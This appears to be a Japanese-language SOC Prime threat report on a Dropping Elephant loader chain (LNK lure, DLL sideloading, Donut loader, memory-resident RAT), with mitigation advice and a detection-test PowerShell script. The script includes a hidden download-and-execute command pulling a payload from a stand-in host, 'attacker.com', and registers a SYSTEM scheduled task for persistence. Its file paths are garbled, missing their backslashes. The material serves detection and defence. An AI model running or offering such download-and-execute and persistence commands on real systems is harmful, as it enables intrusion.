最新のマルウェア: Dropping Elephantのローダーチェーンの内部

SOC Prime Team

フォローする

Detection stack

AIDR
Alert
ETL
Query

脅威レポート
攻撃フロー
検出
シミュレーション

概要

Dropping Elephantに帰属される洗練されたキャンペーンは、中国をテーマにした囮ドキュメントを使用して、更新されたメモリ常駐型リモートアクセス型トロイの木馬を配信します。侵入は、正当なMicrosoftバイナリを経由したDLLサイドローディングと、ディスクベースの検出を回避するためのDonutシェルコードローダーに依存しています。最終ペイロードは、制御フローのフラット化や実行時API再構築を含む高度な回避方法も使用しています。

調査

Rapid7の研究者たちは、PDFドキュメントを装った悪意のあるWindowsショートカットから始めた積極的なハントの中でこの脅威を発見しました。調査は、最初のステージングからペイロードチェーンを追跡しました chinagreenenergy[.]org を通じたDLLサイドローディング経由で APPWIZ.cpl のメモリ内RATの実行まで。Diaphoraを用いたコードレベルの分析により、Dropping Elephantの初期サンプルとの共通性が確認され、徹底的な再構築にもかかわらず、共通の系譜が明らかになりました。

緩和策

守るべき者は、PowerShellを起動するショートカットファイルや C:UsersPublicでの疑わしいペイロードステージングのような行動検出を優先すべきです。異常な名前のスケジュールされたタスクを監視することと、予期しないディレクトリからのDLLサイドローディングを確認することも重要です。さらに、エンドポイント防御ではメモリレベルでの可視性が必要で、AMSI、WLDP、ETWの改変を捕捉する必要があります。

対応

この活動が検出された場合は、影響を受けたシステムを直ちに隔離し、さらなるコマンド＆コントロールのトラフィックを遮断してください。メモリフォレンジックを行い、注入されたRATを特定し、永続化のためにスケジュールされたタスクを調べてください。ネットワークログもまた、既知のC2ドメインへの不正HTTPS通信やファイル抽出の兆候を調査するべきです。

graph TB %% クラス定義 classDef action fill:#99ccff classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef process fill:#ccffcc classDef network fill:#ffff99 %% ノード定義 %% 初期アクセスと実行 action_user_exec[“アクション – T1204.002 ユーザー実行: 悪意のあるファイル 被害者が悪意のあるショートカットファイルを実行 ファイル: GRES3001.lnk 偽装: PDFアイコン”] class action_user_exec action action_icon_smuggling[“アクション – T1027.012 難読化されたファイルまたは情報: LNKアイコン偽装 アイコン操作によってユーザーを欺く 手法: LNKファイルのアイコン偽装”] class action_icon_smuggling action %% ダウンローダー段階 process_conhost[“プロセス – conhost.exe コンソールウィンドウ用ホストプロセス 役割: PowerShellダウンローダーを起動”] class process_conhost process action_binary_padding[“アクション – T1027.001 難読化されたファイルまたは情報: バイナリパディング 文字列分割による難読化を使用 対象: PowerShellダウンローダースクリプト”] class action_binary_padding action tool_downloader[“ツール – PowerShellダウンローダー デコイおよび悪意のあるペイロードを取得 取得元: chinagreenenergy[.]org”] class tool_downloader tool %% ダウンロード後と永続化 action_masquerading[“アクション – T1036.008 偽装: ファイルタイプの偽装 正規ファイルに見せかけるためにファイル名を変更 ディレクトリ: C:\\Users\\Public\\”] class action_masquerading action action_persistence[“アクション – T1546 イベント駆動型実行 スケジュールタスクにより永続化を確保 タスク名: GoogleErrorReport 実行間隔: 1分ごと”] class action_persistence action %% 実行チェーンとサイドローディング action_proxy_exec[“アクション – T1218.002 システムバイナリプロキシ実行: コントロールパネル 正規バイナリを利用してローダーを実行 バイナリ: Fondue.exe”] class action_proxy_exec action tool_loader_cpl[“ツール – APPWIZ.cpl 悪意のあるコントロールパネルローダー 手法: DLLサイドローディング”] class tool_loader_cpl tool action_reflective_load[“アクション – T1620 リフレクティブコードローディング コードを直接メモリへマッピング ローダー: Donutシェルコードローダー”] class action_reflective_load action %% 侵害後活動とC2 malware_rat[“マルウェア – RAT リモートアクセス型トロイの木馬 状態: メモリ常駐”] class malware_rat malware action_gather_info[“アクション – T1592 被害端末情報の収集 システムメタデータを収集 データ: ユーザー名、コンピューター名、OS、IPアドレス”] class action_gather_info action action_c2[“アクション – TA0011 コマンド＆コントロール HTTPSを介して通信を維持 ドメイン: gcl-power[.]org”] class action_c2 action action_exfiltration[“アクション – 画面キャプチャおよび情報流出 T1113 スクリーンキャプチャ 目的: データ窃取”] class action_exfiltration action %% 接続フロー action_user_exec –>|につながる| action_icon_smuggling action_icon_smuggling –>|起動する| process_conhost process_conhost –>|使用する| action_binary_padding action_binary_padding –>|実行する| tool_downloader tool_downloader –>|ダウンロードする| action_masquerading action_masquerading –>|設定する| action_persistence action_persistence –>|起動する| action_proxy_exec action_proxy_exec –>|読み込む| tool_loader_cpl tool_loader_cpl –>|利用する| action_reflective_load action_reflective_load –>|インストールする| malware_rat malware_rat –>|実行する| action_gather_info malware_rat –>|確立する| action_c2 action_c2 –>|促進する| action_exfiltration

攻撃フロー

攻撃ナラティブとコマンド： 敵対者は持続性を確立し、ダウンローダーを実行しようとしています。標準のメールフィルタを回避するために、 GRES3001.lnk という名前のショートカットファイルを使用し、それがPDFのように見えます。クリックすると、 conhost.exe を呼び出して、PowerShellスクリプトを実行します。同時に、Googleのエラーレポータとして偽装して、一般点検をかわすために、 GoogleErrorReport という名前のスケジュールタスクを作成することで持続性を確立し、 Fondue.exe を公衆ディレクトリから実行することを目指しています。

回帰テストスクリプト：

# 1. ショートカット/Conhostの動作をシミュレート
# コマンドラインで特定の文字列を使用してconhost.exeの実行をシミュレート
Start-Process "conhost.exe" -ArgumentList "/c PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -Command IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')" 
# 注：ルールの'CommandLine contains GRES3001.lnk'に厳密に一致させるために、そのファイルからの呼び出しのようにプロセスコールをシミュレート
# シンプルなスクリプトで親プロセス名を偽装することは難しいため、期待されるコマンドライン文字列をシミュレート
Write-Host "[!] GRES3001.lnkトリガーのシミュレーション中..."
$SimulatedCmd = "conhost.exe /c GRES3001.lnk PowerShell.exe -Command Write-Host 'Malware Loaded'"
# 実際の環境では、Sysmonの'CommandLine'フィールドにはターゲット文字列が含まれるでしょう。

# 2. スケジュールタスクとFondue.exeのサイドローディングをシミュレート
Write-Host "[!] GoogleErrorReportスケジュールタスクのシミュレーション中..."
New-Item -Path "C:UsersPublicFondue.exe" -ItemType File -Force
Set-Content -Path "C:UsersPublicFondue.exe" -Value "Dummy Payload"

$TaskName = "GoogleErrorReport"
$Action = New-ScheduledTaskAction -Execute "C:UsersPublicFondue.exe"
Register-ScheduledTask -Action $Action -TaskName $TaskName -Description "シミュレートされたDropping Elephantタスク" -User "SYSTEM" -Force

Write-Host "[+] シミュレーション完了。SIEMでアラートを確認してください。"

クリーンアップコマンド：

# ダミーマルウェアバイナリを削除
Remove-Item -Path "C:UsersPublicFondue.exe" -Force

# 悪意あるスケジュールタスクを削除
Unregister-ScheduledTask -TaskName "GoogleErrorReport" -Confirm:$false

Write-Host "[+] クリーンアップ完了。"

SOC PrimeのDetection as Codeプラットフォームに参加し ビジネスに最も関連性のある脅威に対する可視性を向上させましょう。開始して即座に価値をもたらすためには、今すぐSOC Primeの専門家とのミーティングを予約してください。

無料で参加